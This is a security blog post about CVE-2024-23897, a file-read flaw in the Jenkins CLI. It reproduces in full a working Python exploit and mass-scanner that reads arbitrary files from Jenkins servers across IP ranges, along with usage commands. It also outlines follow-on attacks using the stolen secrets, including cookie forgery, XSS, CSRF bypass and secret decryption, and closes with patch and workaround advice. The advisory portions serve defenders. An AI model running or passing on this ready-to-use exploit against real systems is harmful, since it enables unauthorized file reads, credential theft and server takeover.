CVE-2024-23897 Alert: Critical Risk in Jenkins Servers Uncovered

The digital landscape is abuzz with the latest cybersecurity threat that has sent shock waves through the IT community.

The spotlight shines on a perilous vulnerability identified as CVE-2024-23897, a critical flaw within Jenkins, a widely utilized automation tool in software development.

This security vulnerability, now at the forefront of discussions, has been met with an urgency to understand and mitigate its potential risks.

This blog post delves into the details of CVE-2024-23897, its implications, and what it means for Jenkins users.

What is CVE-2024-23897?

CVE-2024-23897 is a security flaw categorized under the Common Vulnerabilities and Exposures (CVE) system.

It is a pressing concern for individuals and organizations that rely on specific versions of Jenkins automation software.

The Vulnerability in Detail

Versions of Jenkins up to 2.441 and the Long-Term Support (LTS) release 2.426.2 and prior have been found to possess a potentially exploitable feature within their command-line interface (CLI).

Specifically, an ‘@’ character within command arguments, if followed by a filepath, would inadvertently cause the CLI parser to inject the contents of the file at that path into the command.

This behavior is intended to assist with processing commands, but it introduces a serious security risk.

Exposure from the CLI Feature

The CLI’s argument expansion feature has inadvertently provided a mechanism for unauthorized actors to read files from the Jenkins controller’s filesystem.

The nature of the vulnerability allows for varying degrees of exploitation based on the attacker’s permissions:

  • Individuals with ‘Overall/Read’ permission could potentially access entire files.
  • Those without this level of access could still read initial portions of files, limited by the commands available through the CLI.

Potential for Remote Code Execution (RCE)

The real danger lies in the possibility of remote code execution (RCE). Attackers who can read binary files may find cryptographic keys integral to Jenkins operations.

With these keys, they could perform more invasive actions, though certain limitations exist when it comes to reading binary files.

As of the time of writing, security teams have specifically confirmed the ability to carry out attacks that leverage the acquisition of cryptographic keys from binary files.

Given the correct circumstances, attackers could read the contents of any file if they know the file path.

Exploitation Tool for Jenkins: Identifying System Exposure

A newly developed exploitation and scanning utility aims to assist security professionals in pinpointing and exploiting potential vulnerabilities found in Jenkins versions at or below 2.441 and LTS 2.426.2.

The python script:

#!/usr/bin/env python3

import threading
import http.client
import time
import uuid
import sys
import urllib.parse
import argparse
import ipaddress

BLUE = "\033[94m"
GREEN = "\033[92m"
RED = "\033[91m"
ENDC = "\033[0m"
CONTENT_TYPE_OCTET_STREAM = 'application/octet-stream'

def display_help_message():
    parser.print_help()

def display_banner():
    banner = """
CVE-2024-23897 | Jenkins <= 2.441 & <= LTS 2.426.2 PoC and scanner.
Alexander Hagenah / @xaitax / [email protected]"
"""
    print(BLUE + banner + ENDC)



def expand_cidr(cidr):
    try:
        ip_network = ipaddress.ip_network(cidr, strict=False)
        return [str(ip) for ip in ip_network.hosts()]
    except ValueError:
        return []

def expand_range(ip_range):
    start_ip, end_ip = ip_range.split('-')
    start_ip = ipaddress.ip_address(start_ip)
    end_ip = ipaddress.ip_address(end_ip)
    return [str(ipaddress.ip_address(start_ip) + i) for i in range(int(end_ip) - int(start_ip) + 1)]

def expand_list(ip_list):
    return ip_list.split(',')

def generate_ip_list(target):
    if '-' in target:
        return expand_range(target)
    elif ',' in target:
        return expand_list(target)
    elif '/' in target:
        return expand_cidr(target)
    else:
        return [target]

def handle_target(target_url, session_id, data_bytes):
    print(BLUE + f"๐Ÿ” Scanning {target_url}" + ENDC)
    if args.output_file:
        write_to_output_file(args.output_file, f"๐Ÿ” Scanning {target_url}")

    download_thread = threading.Thread(target=send_download_request, args=(target_url, session_id))
    upload_thread = threading.Thread(target=send_upload_request, args=(target_url, session_id, data_bytes))

    download_thread.start()
    time.sleep(0.1)
    upload_thread.start()

    download_thread.join()
    upload_thread.join()

def send_download_request(target_url, session_id):
    try:
        parsed_url = urllib.parse.urlparse(target_url)
        connection = http.client.HTTPConnection(parsed_url.netloc, timeout=10)
        connection.request("POST", "/cli?remoting=false", headers={
            "Session": session_id,
            "Side": "download"
        })
        response = connection.getresponse().read()
        result = f"๐Ÿ’ฃ Exploit Response from {target_url}: \n{response.decode()}"
        print(GREEN + result + ENDC)
        if args.output_file:
            write_to_output_file(args.output_file, result)
    except Exception as e:
        error_message = f"โŒ {target_url} not reachable: {e}\n"
        print(RED + error_message + ENDC)
        if args.output_file:
            write_to_output_file(args.output_file, error_message)

def send_upload_request(target_url, session_id, data_bytes):
    try:
        parsed_url = urllib.parse.urlparse(target_url)
        connection = http.client.HTTPConnection(parsed_url.netloc, timeout=10)
        connection.request("POST", "/cli?remoting=false", headers={
            "Session": session_id,
            "Side": "upload",
            "Content-type": CONTENT_TYPE_OCTET_STREAM
        }, body=data_bytes)
        response = connection.getresponse().read()
    except Exception as e:
        pass

def read_hosts_from_file(file_path):
    with open(file_path, 'r') as file:
        return [line.strip() for line in file if line.strip()]
    
def write_to_output_file(file_path, data):
    with open(file_path, 'a', encoding='utf-8') as file:
        file.write(data + '\n')
    
parser = argparse.ArgumentParser(description='CVE-2024-23897 | Jenkins <= 2.441 & <= LTS 2.426.2 exploitation and scanner.')
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-t', '--target', help='Target specification. Can be a single IP (e.g., 192.168.1.1), a range of IPs (e.g., 192.168.1.1-192.168.1.255), a list of IPs separated by commas (e.g., 192.168.1.1,192.168.1.2), or a CIDR block (e.g., 192.168.1.0/24).')
group.add_argument('-i', '--input-file', help='Path to input file containing hosts.')
parser.add_argument('-p', '--port', type=int, default=8080, help='Port number. Default is 8080.')
parser.add_argument('-f', '--file', required=True, help='File to read on the target system. Only maximum of 3 lines can be extracted.')
parser.add_argument('-o', '--output-file', help='Path to output file for saving the results.')


display_banner() 

if len(sys.argv) == 1:
    display_help_message()
    sys.exit(1)

args = parser.parse_args()

data_bytes = (
    b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@' +
    args.file.encode() +
    b'\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05zh_CN\x00\x00\x00\x00\x03'
)

if args.input_file:
    target_urls = read_hosts_from_file(args.input_file)
else:
    target_ips = generate_ip_list(args.target)
    target_urls = [f'http://{target_ip}:{args.port}' for target_ip in target_ips]

for target_url in target_urls:
    session_id = str(uuid.uuid4())
    handle_target(target_url, session_id, data_bytes)

By utilizing this tool that is provided from a GitHub repository, one can effectively gauge the security of their Jenkins setup against the CVE-2024-23897 vulnerability.

Ethical Usage Guidelines for Security Testing

Responsible Utilization of the CVE-2024-23897 Exploitation Tool

Security practitioners must obtain the necessary authorizations before employing this tool to scan or exploit any systems. The tool is intended for responsible and ethical use to prevent any unauthorized access to computer networks.

To operate the tool, users can input the following command in a Python environment, ensuring they adhere to lawful practices:

python CVE-2024-23897.py -t <target> -p <port> -f <file>

Alternatively, for batch processing:

python CVE-2024-23897.py -i <input_file> -f <file>

Command-Line Parameters for the CVE-2024-23897 Tool

Customizing Your Security Scans and Exploits

This Python-based tool comes with several parameters allowing for customized scans:

-t or --target: Define the target system's IP address. This parameter supports various formats such as single IP, IP range, comma-separated lists, or CIDR notation.

-i or --input-file: Designate a file path containing a list of host addresses formatted as http://1.2.3.4:8080/, each host listed on a separate line.

-o or --output-file: Save the scan results to a specified file for post-analysis or records (this parameter is optional).

-p or --port: Denote the port number for the target server. While the default port is set to 8080, this can be changed as needed (also optional).

-f or --file: Indicate the specific file you wish to read on the system targeted by the scan.

By understanding and applying these parameters, cybersecurity experts can comprehensively assess the resilience of Jenkins instances against potential threats posed by CVE-2024-23897.

The Scope Beyond CVE-2024-23897

It’s important to note that the vulnerabilities listed here may not encompass the full range of threats.

It’s plausible to anticipate additional methods of attack that do not necessarily involve obtaining cryptographic keys from binary files within Jenkins.

Variant Attacks Leveraging Resource Root URLs

Variant 1: Conditions for Exploitation

For a successful attack via Resource Root URLs, certain criteria must be met:

  • “Resource Root URL” functionality must be activated.
  • The Jenkins instance requires WebSocket support, typically present in native installations or when initiated with java -jar jenkins.war.
  • Binary secrets must be accessible by the attacker.
  • Knowledge of a user account name with ‘Overall/Read’ permission is necessary.

Variant 2: A Different Approach

Another variant also targeting Resource Root URLs requires a somewhat different set of conditions:

  • The activation of “Resource Root URL” is again a prerequisite.
  • Retrieval of binary secrets remains a constant necessity.
  • Possession of an API token linked to a user account, which need not retain ‘Overall/Read’ permissions.

Attackers can forge “Remember me” cookies, potentially granting unauthorized access to administrative functions if the following conditions hold true:

  • The “Remember me” option is enabled, which is the default setting.
  • Binary secrets can be extracted by the attacker.
  • Attainment of ‘Overall/Read’ permission is essential to read extensive file content.

Stored XSS Attacks Via Build Logs

Infiltration can occur through XSS attacks embedded within build logs:

  • Attackers need the ability to influence build log output.
  • Access to binary secrets is a consistent requirement across these attack methods.

Bypassing CSRF Protections

CSRF protection mechanisms can be circumvented through crafted requests containing a forged CSRF token:

  • Retrieval of binary secrets is, yet again, a foundational aspect.
  • The CSRF crumb must not include the web session ID, which could happen under specific system property settings or through the usage of particular plugins.

Decrypting Jenkins Secrets

Decryption of stored secrets poses a significant threat, particularly because these secrets often provide access to a wide array of systems:

  • Attackers must be capable of extracting binary secrets.
  • Gaining access to encrypted secrets is critical, which might be achievable through ‘Overall/Read’ permissions or alternative sources such as backups or configuration files.

Advanced Resource Root URL Exploitation Techniques

Requirement 1: Activation of Resource Root URL

An assailant looking to exploit this vulnerability must first ensure that the “Resource Root URL” feature is active. This functionality is not a default setting and requires manual activation, as detailed in the Jenkins documentation.

Requirement 2: Access to Binary Secrets

A critical step in this exploitation process involves the attacker’s ability to obtain binary secrets. These secrets are essentially the keys to the kingdom, granting insights and access that are typically guarded with extreme caution.

Requirement 3: Acquiring Sensitive User Information

The final piece of the puzzle for attackers is the knowledge or educated guesswork regarding the usernames of users who possess ‘Overall/Read’ permissions. This permits an expansive view of the files, further aiding the nefarious activities.

Heap Dump Retrieval – An Elevated Concern

This vulnerability shares similarities with the aforementioned Resource Root URL exploitation, but with an added dimension that increases its severity.

Additional Condition: Java Runtime Heap Dump Nuances

For attackers to download Java heap dumps of the Jenkins controller or any agent process, not only must the “Resource Root URL” feature be activated and binary secrets extracted, but they also need to operate on a Java runtime that permits the creation of heap dump files.

Specifically, these files must be able to be created without the standard .hprof file extension. This particular aspect of exploitation has been affected by JENKINS-72579, rendering the feature non-functional by default in recent iterations of OpenJDK/HotSpot-based JVMs.

Mitigation and Response

The Jenkins community has acknowledged the severity of CVE-2024-23897 and has recommended immediate action.

Users are urged to update their Jenkins installations to patched versions as soon as they become available to mitigate the risks associated with this vulnerability.

With the release of its latest versions, Jenkins has introduced a crucial security update that significantly alters how command-line interface (CLI) input is processed.

Versions 2.442 and LTS 2.426.3 have been engineered with enhanced safety mechanisms, specifically targeting the way commands are parsed.

The End of Automatic File Content Replacement

Deactivating Argument-to-Content Substitution

The core of this update lies in the deactivation of the parser feature which traditionally replaced any occurrence of an ‘@’ character followed by a file path within a CLI argument with the actual content of the said file.

This precautionary measure serves to diminish the risk of unauthorized file content injections, a common security concern.

Contingency Plan for Administrators

Cautionary Override Option

In instances where this update might disrupt existing workflows, administrators have been provided with a temporary override mechanism.

By setting the Java system property hudson.cli.CLICommand.allowAtSyntax to true, the previous functionality can be temporarily restored.

However, employing this override is generally not advised, especially on networks with multiple users, to maintain stringent security protocols.

Proactive Steps for Immediate Protection

For those who can’t upgrade to the new Jenkins versions immediately, a strong recommendation has been made to disable CLI access entirely. This proactive step is seen as a solid interim solution to shield against potential exploitation.

Such precaution can be taken without necessitating a restart of Jenkins, offering administrators a quick protective option until updates can be applied.

Detailed guidance on implementing this workaround is available in the Jenkins documentation.

Temporary Nature of CLI Disabling

Though disabling the CLI is a viable stopgap, it’s important to note that this measure is intended only as a temporary fix.

Even if the CLI isn’t actively used in your operations, the best practice is to proceed with the recommended updates to Jenkins 2.442 or LTS 2.426.3 for a more permanent resolution to security vulnerabilities.

Conclusion

CVE-2024-23897 represents a critical security flaw with the potential to severely compromise Jenkins servers.

As the threat landscape constantly evolves, staying informed and promptly addressing vulnerabilities like these is crucial for the security integrity of any software environment.

Users and administrators should act swiftly to apply updates and secure their systems against possible exploits.

For more detailed information and updates on CVE-2024-23897, Jenkins users should refer to official Jenkins security advisories and ensure they’re running the latest, secure versions of the software.